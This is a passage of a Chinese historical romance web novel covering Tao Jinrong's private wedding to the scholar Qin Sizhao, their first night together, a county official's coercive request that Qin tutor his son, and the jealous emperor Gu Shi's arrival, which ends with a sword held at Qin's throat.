陶金荣直接伸手打了小狗一个巴掌,然后把它的嘴掰开,把稻草人拿了出来。 “该咬的时候咬,该松口的时候松口才是好狗,知道了吗?” 狗儿讨好地舔了舔她的手,颇为不解其意,不过没关系,陶金荣很擅长训狗,迟早会把它训练成一条该咬的时候咬,该停的时候停,令行禁止的好狗。 秦思昭走到了后院,只见陶金荣在和狗儿一起玩闹。 她的皮肤在太阳下有些晒黑了,但非常红润光洁,她身段轻盈,欢声笑语,两眼亮晶晶的,与之前简直判若两人。 秦思昭既倍感欣慰,又暗暗后悔自己和她重逢得太晚。 差一点,他就要彻底失去她了。 他看着她欢快的样子笑道: “裁好了,你要穿上试试么?” “好呀,我先去洗手。” 狗儿忽然被抛下,有些惶恐,跟在她的脚后面,发出可怜兮兮的叫声: “呜呜呜……” 大黑只是一只小狗,不喜欢孤单,只想要她继续来陪自己玩。 陶金荣瞥了它一眼,决定纵容它的粘人,和秦思昭说道: “它知道不能在家里尿尿,应该可以进屋。” 她进了卧房,把肚兜展开看了看,料子还不错,是素色的,清爽透气,上面一朵绣花都没有,和她之前的肚兜版型几乎是一模一样,穿上也别无二致,比较合身。 “嘤嘤嘤……” 大黑扑着她的腿,想叫她来陪它一起玩,却被陶金荣躲开,不加理会。 不能纵容小狗爱扑人的习惯,等小狗长成了大狗,一扑人就是一个跟头,她体重轻,承受不住。 “嘤嘤嘤……” 小狗委屈巴巴地坐了下来,不再闹腾,陶金荣才终于摸了摸它的头。 “好狗。” 陶金荣穿上了外衣走出门外,秦思昭就站在门口等她,低头一看,她脚边跟着一个黑毛掸子似的狗儿,长相十分潦草。 他忽然觉得这小狗有点碍事。 “荣儿,你很喜欢狗吗?” “还行,狗很有用不是吗?” 她笑道: “我讨厌谁,便指挥狗去咬谁,岂不是很好?” 陶金荣握住秦思昭的手,暗暗垂眸说: “多谢,衣裳很合身。” 她轻轻亲吻了他的侧脸。 离完婚只剩下几天,二人一起用红纸稳稳当当地剪了红双喜,用浆糊贴在了窗上。 红蜡烛也备好了,这几天里,乱七八糟结婚用的东西二人也一起采买好,终于到了八月初五这一天。 这场大婚只有两个人对着天地立誓。 陶金荣穿上了红嫁衣,用胭脂水粉给自己简单化了个妆,她抿了抿红纸,嘴唇变得鲜艳饱满。 秦思昭亲手给她描了眉毛,他的手很稳,很慢,在她微微凸起的眉骨上画了两道完全对称的弯月眉。 “荣儿,你自己照镜子看看吧,我也不知道我画得好不好……” 他懊恼地摸了摸后脑。 陶金荣笑道: “傻瓜,横竖只有你一个人能看见我的眉毛,好不好又能如何?” 她用眼睛扫了一下早已布置好的喜房,床铺上是红色的被褥,喝过交杯酒,马上就要……圆房了…… 其实她内心深处很想跳过这些无谓的仪式,直接到达最后一步。 第90章 其实,陶金荣并不知道为何大婚一定要弄得鞭炮齐鸣,锣鼓喧天,再叫上一大票名字都叫不全的人来家中吃饭喝酒,她觉得那样颇没有意思,不仅是要花上一大笔银子,也离她理想中的婚礼相去甚远。 秦思昭微红着脸,拿来一个酒壶,轻轻倒了两杯酒,一杯酒给自己,另一杯酒递到了她的手中,她用两根手指轻轻捏着酒杯,生怕一个不稳,撒在了艳红色的裙摆上。 他没说话,只是举起手来,用手臂勾着她的臂弯,她感受到了那互相拉扯的力量,借着这份力,她一鼓作气地把辛辣的酒尽数吞了下去。 “咳咳咳……咳咳……” 陶金荣没忍住咳嗽了起来,擦了擦嘴角说: “我从没喝过酒,不要见怪。” 因酒力上涌,秦思昭的脸也变得微微有些红了起来,说道: “抱歉,我应该挑个劲儿小一些的。” 他只是想用烈一些的酒来缓解一些自己的紧张,却没想到把陶金荣给弄得呛到了,她喝不得这么烈的。 她看着那壶酒,叹了口气,皱着眉说: “又苦又辣,为什么还有那么多人爱喝这种东西?” 她站起来去给自己倒了一杯水,全部喝了下去,来缓解喉咙的不适。 这一站,酒劲便涌了上来,她觉得自己的脑子变得晕晕乎乎的,步伐不稳,一下栽到了秦思昭的怀里。 她迷迷糊糊地说: “抱我上去。” “荣儿,你怎么一杯就倒?” 他把陶金荣打横抱起,轻轻放在了床上。 陶金荣几乎已经完全醉了过去,如同不省人事一般躺在了床上,他怕她戴的钗环首饰硌到了她,便动手把她的首饰都摘了下来。 她的脸上画着妆,他用打湿了的手帕帮她擦干净了脸,又仔细擦干净了她嘴唇上的胭脂。由于布料的摩擦和烈酒的作用,她的脸颊和唇即便没有胭脂的修饰,也呈现出一种润红的色泽。 嫁衣繁琐,恐怕穿着睡觉也不太舒服,他也只好帮她脱了下来。 她迷迷糊糊地配合着他手上的动作,随后便沉沉地昏睡了过去。 看着她在床上睡着了的样子,秦思昭陷入了迷茫。 下一步该做什么? 对着一个睡熟了的人做那种事情,还是有点奇怪了……他不太能接受。 而且她肯定已经喝得断片,第二天起来什么都不知道。 他不希望她不记得他。 “……” 秦思昭给她盖上了被子,只躺在她旁边睡了。 她醒来后觉得头有些疼,整个人十分迷糊,一翻身,直接抱住了秦思昭,嗓音也变得有些沙哑。 “阿昭。” 她只觉得头疼,身上倒是没什么感觉,只是他和她躺在一张床上,昨晚应该是圆房了的吧? 一杯倒实在是丢人了些,她在脑中狠狠搜刮了记忆,却什么都不记得了。 “荣儿,你昨晚似乎醉了,直接睡了过去……我见你睡了,也不好把你弄醒,便也直接睡了。” 他犹豫着,挑了个委婉些的说法。 她直接开口问道: “那岂不是没有圆房?” “嗯。” 秦思昭点了点头。 二人起来梳洗过后,陶金荣开始捂着酸痛的头抱怨: “你非得买那么烈的酒做什么……害得我今天还头疼。” “……” 秦思昭没好意思说自己是出于紧张,他确实有点害怕自己发挥不好,特别还是在有对比的情况下。 “荣儿,我之前送你的那个香囊,你一直都戴着呢对吧?” “嗯,当然。” 她摸了摸腰间的香囊坠子,闻起来有种特殊的药味。 “这是……避孕用的,只要戴在身上就能避免怀孕,对身体无碍,是我自己配的药方。” 她看着他眨了眨眼,笑着说: “我不介意要个孩子。” 秦思昭有些尴尬地背过了脸: “你的身体目前还不太适合。” 陶金荣直接伸手把他的脸掰了过来,强迫他直视她,看着他的眼睛问: “好奇怪,原先我记得你一向是有话直说的,怎么现在突然这样腼腆了起来?” 之前都是陶金荣在他面前感到尴尬,秦思昭坦坦荡荡,还经常劝慰她,如今怎么反了过来,她心中只觉得好奇怪。 秦思昭声音微颤: “我若是大夫,对病人自然能坦荡直言……” 秦思昭不敢去看她的眼睛,继续说道: “可我若是丈夫对着妻子……便会觉得不知所措了。” 陶金荣伸手拧了他的手臂一下,气闷道: “嗬,瞧瞧你这说的算是什么话?当大夫就能有话直说,当丈夫反倒变成锯嘴葫芦啦?” “嗯……” 秦思昭觉得自己在她面前真是笨嘴拙舌,他就是不想在她面前丢人。 “那咱们现在把昨天晚上欠的那份补上?” “大白天的……还是算了吧,晚上再说吧。” 他其实有些怕陶金荣去看他的身子,特别是在白天,岂不是什么都能看得清清楚楚。 陶金荣凑过来和他拉拉扯扯,外面却传来一个声音: “秦举人,您在家么?” “有人来了,你且松手吧。” 陶金荣终于松开了他,秦思昭也只得走出去迎客。 来的是一个四十岁左右的中年男人,下巴上挂着油亮的长须,额前的头发已经有些洗漱,秦思昭认出他便是那李县丞。 “秦举人真是年轻才俊,不知您今后可否有什么打算?” 李县丞笑着说,可秦思昭却看出一种笑面虎的味道来,客气地回答: “我妻子身体不太好,我得多陪陪她,其余的还没想过。” “哎呦,您不知道,咱们这辰水县可成了个好地方啦……皇帝有意在这里办选秀……就在明年春天!到时候随便弄点什么产业,银两不是哗哗地往口袋里进么?” 陶金荣就站在门后面,把李县丞的话听了个一清二楚,瞬间感觉心脏一阵惶恐。 是顾时要来了。 他要办选秀也就算了,跟她没关系,可为什么偏偏跑到她老家来办?究竟是个什么意思? 她都已经“死”了,他过来干嘛?在京城办选秀不好吗?为啥非要跑到这么个偏僻的小地方来?难道他有什么特殊癖好,专门就喜欢小地方土生土长的姑娘? 无所谓,只要他找不到她,就比什么都强。 陶金荣懒得想了。 她只要少抛头露面,他应该是碰不上她的。 她听到秦思昭回复道: “承蒙县丞厚爱,我在进京赶考时得罪了人,再也不敢在官场露头了,如今只想把我的妻子照顾好。” “无妨,无妨,我有一幼子,甚是顽皮难以管教,还请您过来当教书师父吧,当然,带着你的妻子一起来我府上住下便是。” 秦思昭只想赶紧退拒: “我妻子怕见生人,恐怕多有不便,还请李县丞另请高明。” 李县丞的双眼一下闪出了老谋深算的精光。 “这选秀一有了风声,各地的漂亮姑娘都要涌入咱们辰水县这个小地方,到时候恐怕……治安的保证是个问题……需要多几位官员来保证姑娘们的安全,现在就你还没有个正经官职,可就不好推辞了。” 秦思昭低下头去: “我一介书生,哪干得了这种事……还请李县丞莫要说笑了。” “那你便来我家当个教书先生吧,我知道这辰水县里只有你最会考学,不找你我还能找谁。” 陶金荣站在后面默默地想,岂止是辰水县,整个国家都挑不出比秦思昭会考学的,他可是状元呢,这李县丞眼光倒是不错。 秦思昭连连推诿: “哎,我还得跟我妻子商量一下,若是她不同意,我没办法的……” “你妻子姓谁名谁?可有身契婚契?” 秦思昭一时不知道自己该如何回应,生怕暴露了她的身份。 见他惊慌失措的样子,李县丞顿时心中有数,捋了捋胡子,说道: “无妨,若是你来我家教书,我就把你妻子的身契给补上。” 陶金荣如今在陛下那里已经是个死人,自己有了婚契反而更危险,若是有人查起来,便十分蹊跷。 他实在不知该如何推诿,只好说: “日后再议吧,李大人……我再考虑一下……” “我幼子已经十岁,恐怕不能再耽搁了。再说这一带的山头我都可以让给你,你只需要雇人上山采药就行,不管你做什么生意,我都能给你通融。” 李县丞咄咄逼人,势必要把他拿下。 “而且,恐怕你是藏了个来路不明的姑娘当妻子吧,若是你不帮我,我也不通融的。” “并非如此,我娘子是我的青梅竹马,自小和我一起在辰水县长大,只是一时失散,怎会是来路不明的姑娘呢……” 秦思昭不想陶金荣被他拿捏,快速地打断了他的话。 “我自然可以当李县丞家中的教书先生,只是这并非因为我妻子来路不明,而是因为我的生意需要大人多多通融,我妻子清清白白,还请大人勿加揣测。” 李县丞假笑道: “是我失言了……秦公子速速来我府上吧。” 秦思昭垂眸,双眼瞬间从温和变为凌厉。 “但是,我也有条件。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 90-100 第91章 “若是令公子想要科举,我也可以帮您去问问负责乡试的先生,我确实擅长考学,一路上都有认识的人,消息也算灵通。既然李大人选我做令公子的先生,那便是信任我,在家里父母娇惯,孩子的玩心也大,不如直接派人送令公子到我家。” 秦思昭面色十分不悦,不加掩藏。 既然他敢拿他妻子的身份说事,那他便拿他儿子的前程来说事,这样才算得上是公平。 “这……” 李县丞露出了犹豫的表情,他妻子唯独舍不得这个儿子,颇为娇惯,孩子在功课上也总是拖拖拉拉,不思进取。 “您会纵容孩子,可我这个做夫子的必然不会纵容,若是在家里,孩子只会觉得自己有恃无恐。小孩子开蒙挨手板都是常事,想求学就得苦其心志,劳其筋骨,令夫人恐怕是听不得孩子哭叫的,若是您实在舍不得令公子,不如每隔五天便接回去两天吧。” 私塾最常见的教育方式就是背不下来就打,棍棒教育本身也不是什么新鲜事,念书不挨揍才稀奇。只是他们夫妇二人对这个孩子太过宠溺,一直舍不得管教,几乎是有求必应,才导致孩子的功课落后。 “……” 李县丞陷入了沉默,秦思昭说的确实是实话。 “秦先生,我回去跟我夫人商量一下。” “请便,我就不送了。” 他淡然一笑。 见李县丞走了,陶金荣便从后面走了出来,她面色有些忧虑地说道: “阿昭,明年春天要办选秀?那岂不是……” 她有些忧虑地咬了咬下唇,随后马上换上了一副笑脸,轻声细语地对他说道: “没关系,只要我不抛头露面,问题就不大,应该没什么事,他以为我死了,找不到我的。” 若是事儿真的来了,谁也没办法,至少她不希望秦思昭为她担心。 可选秀一事毕竟是个隐患……陶金荣不希望自己来之不易的平静生活再被破坏掉,而且,她现在根本就无法预测顾时会做到哪一步。 而且这个小地方的姑娘都早早许下人家了,哪来那么多适龄单身女孩……顾时脑子里到底在想什么呢,她真想拿把斧头把他的头劈开看看里面放的是不是白花花的脑子。 秦思昭轻轻拍着她的后背,安慰道: “荣儿,不必担心,应该是问题不大的,天下哪有那么巧的事呢?” “我们不用为了还没发生的事担心。” 她直接靠在了他的怀里,只要顾时不动手杀人,一切都好说。 她是光明正大的走,又不是鬼鬼祟祟偷偷摸摸地逃跑,就算顾时算她的前夫,那也是坦坦荡荡的和离二嫁,她自认没什么对不住他的地方, 就算他真找上门来,她也不觉得自己有什么理亏。 一转眼便入了夜,陶金荣在床前用火折子点了两支蜡烛。 “阿昭……” 她笑盈盈地看着他,转身扑在了他的怀里。 “……” 他搂着她的后背,她的肩胛骨就卡在他的掌心里,她侧过颈子,一点一点地啃咬着他的耳垂,伸手去解自己的腰带。 她就只穿着一层薄薄的中衣,跨在了他的膝间。 她头上的流苏甩来甩去,打在了他的面颊上。 “疼不疼?” 她抚摸着他的脸颊,亲密地问。 “不疼的……” 他的喉结紧张地上下动了动,她直接俯下身,在他的喉结上亲吻了一下,很显然,她看出来他在紧张了,他因羞涩和生疏而涨红了脸。 “荣儿,把蜡烛吹了吧。” “你不想看看我吗?” 陶金荣直接把头枕在了他的胸口上。 一阵小风吹进窗内,直接把蜡烛吹灭,黑暗让秦思昭觉得放松了许多,她身上幽幽的香气传来,一下让他失了神志。 “荣儿……我知道的……” 他没有任何拒绝她的理由,一翻身,把她压在了身下。 他毕竟学过医,确实知道应该做些什么,可理论是理论,实际是实际。 开始还算得上是顺利,可是他却因为过度紧张而不知道该怎么合适地结束。 “阿昭,停吧,我真有点受不了了……还是有点疼的。” 秦思昭伸手给她擦了擦额头上的冷汗,她已经因疼痛感而开始出神。 “荣儿,抱歉,我……我真的不知道怎么停……对不起……” 他把话说得极软,在她耳边连连道歉,他温柔有礼的态度和身下极其无礼且充斥着占有欲的动作,一下让她产生了一种极大的割裂感。 他看着她在月光下显得格外白皙的修长脖颈,不再克制自己,狠狠地咬伤了一口,才终于结束了。 秦思昭十分心虚地握着她的手亲了亲,说道: “荣儿……我……我不是故意的,我也不知道为什么会这个样子,你也知道我没经验,我真的不知道该怎么停。” 陶金荣在疼痛之余,陷入了迷茫。 不是说一般男人的第一次都很快吗? 等等,她是从哪知道的这种事…… 她侧躺在床上,费力地扶着自己的腰,翻了个身。 不仅是是腰很酸,就连盆骨一带都十分酸痛,很明显他不知道该怎么控制好力度,如果他不是毫无经验,她几乎要怀疑他是不是故意想折磨她才这样做。 陶金荣提了一个颇为诚恳的建议: “阿昭,你还是去读一读房中术吧。” “感觉很不好吗?” “你用的力气太大了。” 抱怨完后,她觉得很疲惫,便沉沉睡了过去。 次日,她睡到日上三竿才扶着腰起来,觉得自己浑身疼痛,简直就像是跟人打了一架似的。 她一低头,腰侧明晃晃的一个手印形状的淤青,她无奈扶额。 秦思昭给她端来了一杯蜂蜜水,说道: “这是附近的养蜂人送来的蜜,尝尝吧。” 陶金荣接过蜂蜜水,略带埋怨地看向秦思昭,他心虚地往旁边一瞥,不敢看她。 “荣儿,抱歉,你身上的伤……我去给你拿点跌打损伤的油来,揉一揉就好了。” 陶金荣看着他叹了口气,这认错的态度倒是挺好。 他利索地拿来了药,涂在了她的腰上,轻轻给她把淤青揉开。 “是我没控制好自己,这种药治疗淤青的效果很好的,揉开会有点痛,但是很快就好了。” 他神态坦荡,丝毫没有半点怯意,伸手轻轻揉着她的腰,眼中没有情欲,全是专注。 她脖子上还挂着个牙印,腿侧和脚腕还有淤青,一看便能看出来昨夜有多么荒唐。 他把她从床上慢慢扶起来,她一扭头,才发现床单几乎也不能要了…… 秦思昭默默开口说道: “我去洗床单吧。” 陶金荣扭头亲吻了他的侧脸一下。 “这次不怪你,下次注意就好。” “嗯……” 他把下巴放在她的颈窝处,抱着她问: “那今晚可以再来一次吗?” “……” 陶金荣缩了缩脖子,低声说道: “还是让我先歇两天吧……” 秦思昭没松手,反倒抱得更紧了些。 “阿昭!” 她面色略有些不悦,扭头看着他,他才把手松开。 他亲手给她穿好了衣裳,又给她的脖颈绕上了一层白纱,盖住她脖子上的牙印。 外面忽然传来一个叽叽喳喳的声音。 “秦夫子!秦夫子!怎么你府上这么寒酸,连个家丁都没有呀。” 秦思昭叹了口气,亲吻了陶金荣一下,便走了出去。 门外是个胖乎乎圆滚滚的小孩,咧着嘴对着他笑,手上还抱着个脏兮兮的课本,书角全都卷了起来。 “秦夫子,我是我爹的儿子,大名李璋,小名李大牛。” 秦思昭无奈地叹了口气,这孩子的表达方式实在是令人难以理解,便直接问道: “你爹是谁?” 李大牛完全不理会秦思昭,扭头过去,双眼放光: “哇,漂亮姐姐,真的好漂亮,要不要嫁给我做娘子啊?” 秦思昭黑了脸,默默地去找了戒尺。 待他回来时,那李大牛已经扒在了陶金荣身上,他果断拎着他的领子把他提了起来。 他捏着他的手,扬起了戒尺。 三下清脆的响声之后,屋子里便响起了嘹亮的哭声: “哇——你凭什么打我!我只是想和我娘子玩,我有什么错!” 陶金荣气得伸手去拧这小鬼头的耳朵,骂道: “小兔崽子,谁是你这小崽子的娘子?看好了我是你姑奶奶!” “哇——” 挨了一顿骂,李大牛哭得更惨了。 可他却发现,不管他哭得再惨,这里也没人给他送上好吃的好玩的来哄他,渐渐地便止住了尖锐的哭叫声,开始一边啜泣一边说: “我爹当官,说是皇帝要来,怕我添乱,说要把我送到夫子家……可我就是想看看那皇帝长什么样,是不是两只眼睛,一个鼻子一张嘴。” “若是看不见皇帝,看见漂亮姐姐也是好的,可是为什么长得这么漂亮却一点都不温柔啊!” 秦思昭眼睛一瞪,那小孩便缩了缩脖子,老老实实站着,再也不敢哭了。 当夫子的确实自带一种威严。 顾时要去县丞家里做客?这实在是桩稀罕事,但顾时做出什么事来,陶金荣都不觉得奇怪。 她的双眼蒙上了一层忧虑,却提高了嗓门说道: “李县丞真是英明,赶紧把你这样的小崽子送走,不然有十个脑袋都不够砍的。” 第92章 李大牛眨了眨眼睛,这孩子的眼睛其实挺大,但因为胖的缘故,一双黑灵灵的大眼睛被脸上的肉给挤得小了。 “每个大人都喜欢我,说不定那皇上也喜欢我,给我买好多好东西吃呢。” 他忽然扑到陶金荣的怀里,猛地一抱。 “漂亮姐姐喜欢不喜欢我呀?” 还不等她反应过来,秦思昭就直接挡在了她的前面,抢先把这小鬼头推开,摆出了一副夫子的架子: “李璋,你也大了,懂不懂得要尊重女子?不能举止轻浮?” 他掏出了戒尺,冷冰冰地问: “还敢举止轻浮,莫非是皮痒了欠打?” 李大牛吓得缩了缩脖子,退后了几步,说: “不敢了,不敢了,再也不敢了。” 他乖乖地跟着秦思昭走进了书房,秦思昭拿出了笔墨纸砚,淡淡说道: “把《大学》尽数默写一遍吧。” 他语气轻飘飘的,就像是在谈论今天的天气,可听在李大牛耳中竟如惊雷一般。 他连抄都抄不齐全,更别说默写了,李大牛瞬间面露难色。 “夫子……我……我……” “握笔姿势不对,是不是该打?” 坐在书桌上,李大牛一下变得冷汗森森,时不时开始打着摆子,一直抖腿。 “怎么?默不出来?那便把《大学》抄上三遍,好好长长记性吧。” 他从书架上拿出了一卷书,放在书桌上。 “抄完了再吃饭。” 李大牛吸了吸鼻子,认命地开始抄起了那卷书,抄着抄着,便传来一阵饭香,他的眼泪从嘴角流了出来,没忍住擦了擦,继续饿着肚子抄书。 终于抄完了!正好赶上了饭点! 他甩了甩酸痛的手臂,直奔饭桌。 他一边往嘴里扒饭,一边说: “夫子,我爹说……那皇上来得很急,也不知道为何这么急,反正就是……除了我爹,这个县里没人有条件招待,我爹在这个县里最厉害呢。” “吃饭不要讲话,专心吃。” 秦思昭只瞥了他一眼,他便噤声了。 他给李大牛收拾出来了一个离他的卧房最远的房间,把他带了进去,说: “你就住这里吧。” “夫子,这里空荡荡的,我一个人害怕。” “你大了,应该习惯独处,晚上不要来打扰我,难道你半夜还要去找人陪么?” 他诚实地点了点*头,说: “我奶娘每晚都跟我一起睡的。” “那你爹娘呢?” “不知道。” 秦思昭看着这孩子顽劣的样子,略微有些头疼,这李县丞是不是在小地方当惯了地头蛇,霸道得很,实在是给他添了一堆麻烦。 至少也该派个人来看着点这崽子,说实话他和陶金荣的年纪还当不了这孩子的爹娘。 “你克服一下,自己睡吧,睡不着就自己趴在被子里悄悄哭,别来打扰我。” 孩子委屈巴巴地躺在了床上,秦思昭扶着额头想,自己明天就得叫个人去李县丞府上,好好抱怨一番,再从他府上叫个人来伺候这个小祖宗。 还好他没有头疼太久,李大牛的奶娘马上就来了,身上大包小包,拿了一堆东西过来…… “秦夫子,您叫我钱大娘就行,这孩子不能离了人,吃东西还挑嘴,老爷夫人本来想磨炼磨炼这个孩子,可到底还是不放心,吩咐我陪着他。” 秦思昭只淡淡地把她带到了李大牛的房间。 “好的,您别叫他打扰我休息就好。” “麻烦您了,这是茶叶,原本是贡品,今年也不要了,您拿去喝吧。” 秦思昭不禁苦笑。 真不知道这李县丞是怎么想的,把自己家的孩子送到一对新婚燕尔的夫妇家来,真是碍事极了。 好在还派了个人来看着点他。 回到卧房,秦思昭的第一件事就是关窗关门。 “阿昭,好闷,好端端的你关窗关门做什么?” 秦思昭回头看了她一眼,嘴角勾起一个笑容,长长的睫毛微微压了下来,压出了一片阴影。 “当然是因为怕被人听去了。” 他吹灭了灯,一步一步地向着她走了过来,她抓着他的手腕,把头埋进了他的肩膀。 …… 顾时已经数不清泠川死去了多少个日头,他只知道,自己已经恢复了理智,从那过度的癫狂里恢复了过来。 他已经可以从容地处理好政务,然后便有了片刻的自由……他已经一刻都待不下去了,他每日都特意要绕着琮翠殿走,不去看,不去想,只把自己囚禁在一个怪异的身份里。 只有舌尖异物带来的痛觉,每时每刻都在提醒着他,泠川已经死了。 她是这个世界上和他最亲密的人,也是最恨他的人,这毫无疑问是对他人格的一种彻头彻尾的否定,就连和他最亲近的妻子都恨他,那他想必是个一无是处的人,活在这个世界上还有什么意义呢。 他想,泠川不仅死了,还死在去找另外一个男人的前夕,而那个男人对此根本一无所知,这根本不公平。 顾时冷笑了一下,轻轻咬了咬穿过舌头的银钉,秦思昭应该是爱着她的,如果他知道她死了,一定会痛苦欲绝,这样他便可以高高在上地品味他的痛苦了,想必他的痛苦也能给他带来些许的安慰吧。 他一定要亲口告诉他这个消息,想必他脸上的表情一定很有意思。 他等不及了,便快马加鞭,赶到了这个小县。 县丞十分谄媚又受宠若惊地接待了他,他不敢拿出太奢侈的东西,又不敢拿出太差的东西来,他哆哆嗦嗦,进退两难的样子给了顾时一种凌驾于他人之上的快乐。 曾经他不需要这种低级的快乐,现在也不得不仔细品味起来,就像一个富人忽然破产,连一丁点大米都要珍惜起来似的。 他用凹陷且带着暴戾的双眼,轻轻瞥过他,欣赏着他膝盖的战栗,问: “你可知道这个县出过一位状元?” “这……小的不知,小的不知……” “秦思昭,你可知道么?” 顾时有些不耐烦。 “自然知道,自然知道,小的有一犬子,甚是顽劣,便送到他那里管教一番。” “派个人带我去他府上。” “陛下,您若是要找他,倒不如我派个人把他叫来您面前吧。” “不必,我亲自去他府上。” “这……犬子顽劣,恐怕惊扰了您……” 他吓得声音发颤,哆哆嗦嗦地跪在了地上。 “现在天色还早,找个人带我去。” “小的亲自带您去吧。” “你没听见吗?找个人带我去。” 几个家丁颤颤巍巍地对视了一番,谁也不愿意出这个头。 “二狗,你带陛下去吧。” 李县丞伸出一根如枯柴一般的手指,点出了平常和他儿子关系最好,总是玩在一起的那个家丁。 “是……” 二狗已经吓得哆哆嗦嗦,扑通一声跪下领命。 他一介村夫,何曾见过这个阵仗。 …… 正午时分,陶金荣刚刚睡醒,匆匆忙把散落满床的衣衫穿上,一扭头,便从窗户里遥遥地看见了一个身影。 她吓得赶紧捂住了自己的嘴,生怕发出尖叫声。 那人的身形和顾时很相近,脸她没敢看清,只是消瘦了许多。 她顾不得衣衫不整,急急忙忙跑到秦思昭的书房。 “荣儿,你怎么这般的着急。” 她面色惨白,趴在他的耳边说: “顾时来了。” 秦思昭先是惊讶,随后很快镇定了下来。 “别怕,你先躲起来,我去应付他。” 他带她进了会客厅后面的一个暗室,此处十分隐蔽,却留了一个微小的洞,能从里面观察到外面的情况。 “这是我藏银两的地方,你先躲一躲,不要出声,门可以从里面打开。” 她点了点头,摸着他的脸叮嘱道: “秦思昭,你记住,他以为我已经死了。” 他点了点头,可他们二人此时此刻都知道这毕竟不是长久之计,他有妻子一事人尽皆知,只要稍微一打听便能知道。 陶金荣把眼睛凑到那个小洞上,努力凑近了些, 她忽然倒吸一口冷气。 顾时怎么变成这个样子了。 他的眼眶深深地凹陷了下去,眼下是两片乌黑的淤血,嘴唇惨白得像纸,整个人简直就像丧葬店里的纸人似的,又高,又长,又薄,一把火丢下去,他就能被烧得连骨头渣子都不剩。 “秦思昭,你知道吗?陶金荣死了。” 他对着他露出一个阴狠的笑容。 “她……” 顾时吞了吞口水,换了一种说法: “她已经下定决心来找你了,可是她就死在了来找你的前夕,和她的爹娘一样,被一把大火烧死了,我把她的遗体埋在了她的家乡,你想去看看么?” 陶金荣一愣,往后退了半步。 他竟然是来告诉秦思昭她的死讯的。 她瞬间明白了,顾时自己难受,便也不想让秦思昭好过,他是来品味秦思昭的痛苦的。 可是她不仅没死,甚至还过得很好,昨天晚上她还在床上和秦思昭好好温存了一番,可到了今天中午,秦思昭就得在他面前表演悲痛欲绝,来满足他卑劣的趣味。 她皱着眉,咬了咬牙关。 可秦思昭忽然开口说道…… 第93章 “陛下,您能给我仔细讲一讲当时的情况吗?什么叫‘她已经下定决心来找我’?” 他转了转眸子,眼中没有一丁点慌乱。 顾时猛地咳嗽了几声,用沙哑的声音说道: “她想离开我去找你。” “那您没有阻止么?” “没有。” 秦思昭冷静地说道: “那就是您已经同意了是吧。” 顾时恶意满满地想如何能让秦思昭的遗憾更多一些,他眼珠一转,便只从喉咙里咕噜出一个简单的音节: “嗯。” 他看着他那冷静的双眼,他就是要让他知道自己错过了什么。 他错过的是原本触手可得的幸福结局,可现在全部化为乌有,就差一点点,他就能和泠川真的在一起了。 秦思昭沉默了半晌,那顾时期待的悲伤神情并没有出现在他的面孔上,取而代之的是迷惘。 他就像是在沉默着思考对策一般。 顾时用狠戾的双眼瞪着他,追问道: “陶金荣都已经死了,你不觉得难过么?你们差一点就能在一起了。” 他重复了一遍,右手握拳,猛地锤了一下桌子: “陶金荣已经死了!” 他那落下残疾的手臂被震得发麻,他哆哆嗦嗦地把手缩回了袖子里,由于使不上力气,他右臂的肌肉已经不再像之前那般漂亮了。 他抬起眼,去看他的眼睛,秦思昭只凝神静气地看着前方。 顾时一瞬间似乎明白了什么。 他心中是一片生怕自己的狂喜陷入空亡的焦急,这焦急燃烧得飞快,急火攻心,可他却不愿在他面前失态,硬生生把口中的血腥之气吞了回去。 还不等顾时发作,一个清脆的童声响起,打破了空气中的死寂: “哈哈哈哈……我大牛倒是要看看,这皇帝到底长了个什么样……是一个眼睛还是两个眼睛?” “大牛,别去,别去……回来……” “追不上我,追不上我!略略略!” 李大牛的小胖腿倒腾得飞快,不过一会儿功夫便跑到了会客室。 他见到顾时,夸张地尖叫了一声,又做作地往后仰。 “哇,这皇上长得好吓人!两个大黑眼圈!” 钱大娘赶紧扑上前去,捂住了那孩子的嘴,直挺挺跪了下来,边哭边求: “陛下息怒,陛下息怒,小孩子不懂事……” “无妨,我单独问这孩子几句话,你先下去。” “是……” 钱大娘吓得眼泪鼻涕一把一把地落了下来,踉踉跄跄地便往外跑了。 “哇——” 见钱大娘哭了,不明所以的李大牛也哭了。 顾时本就心焦,又听到这孩子的哭声,心中颇为不耐烦,赶紧说道: “你秦夫子的身边有女人么?” 李大牛嘴里叽里咕噜一串听不懂的话,最后补了一句。 “没有,只有一个姐姐。” 秦思昭真是替这孩子捏了一把冷汗,都什么时候了,还这般的前言不搭后语。 “什么样的姐姐?” “漂亮姐姐,就是有点凶。” 顾时已经了然于胸,他的双眼依旧狠厉,可却忍不住地陷入了狂喜,两种截然不同的情绪同时出现在了他的脸上,直接让他陷入了一种癫狂。 “滚吧,越远越好。” 小孩吓得夺门而出,钱大娘就在外面等着,一把抓住孩子,赶紧带他回了李县丞府上。 顾时大笑了几声,那早就沙哑无比嗓音里听不出喜悦,这笑声反倒是如同厉鬼半夜回魂一般。 他从椅子上摇摇晃晃地站了起来,用哆哆嗦嗦抬不起来的右手提着一把长剑,直奔里面的卧房。 他不知自己此时是喜是悲,这卧房里面明显是两个人生活过的痕迹,一件女人的肚兜还挂在床头上,他猛地把被子掀起来,那床单上面尽是二人昨夜欢好过的痕迹。 一定是秦思昭勾引了她!简直恬不知耻! 泠川没死! 从始至终,受折磨的人就只有他一个! 顾时看向镜子,镜子里映出一张似哭似笑,双眼深深凹陷下去,瘦得脱相的面颊,他已经形容枯槁,颧骨如刀,和曾经的俊朗面容大相径庭。 他的嘴角颤抖了几下,伸出手猛然抓住这铜镜,直直地打碎在了墙上,右手瞬间鲜血淋漓,不停抽搐。 凭什么只有他要受这种罪!她凭什么这么对他! 他用鲜血淋漓的手提着长剑,颤颤悠悠地走回客厅,秦思昭不急不慢,只拿出一个紫砂壶,背对着他斟茶。 听到了他的脚步声,他转过头来,平静地看着他,说道: “小地方比不了京城,恐怕招待不周,陛下息怒,这茶是李县丞家拿来的,说是贡品,还请您尝尝吧。” 唰—— 利刃切断空气。 顾时把那把寒光凛冽的剑横在了他的脖子上,歇斯底里地对着空气大叫道: “陶金荣,你给我出来!我知道你在!赶紧给我出来!不然我就杀了他!” “您找我的妻子做什么?” 秦思昭的表情和语气都异常平静,没有一丁点恐惧,顾时像是被自己的癫狂反噬了似的,死死掐着他的脖子: “赶紧把她弄出来,我要见她!” “只要您承诺不打扰我们夫妻两个,我可以叫她出来。” “明明是你这个身子生得下贱!引诱了我的妻子!不然她怎么可能变心!她……她从始至终都爱着我……” 秦思昭叹了口气: “陛下,恕臣失礼了。” 咔—— 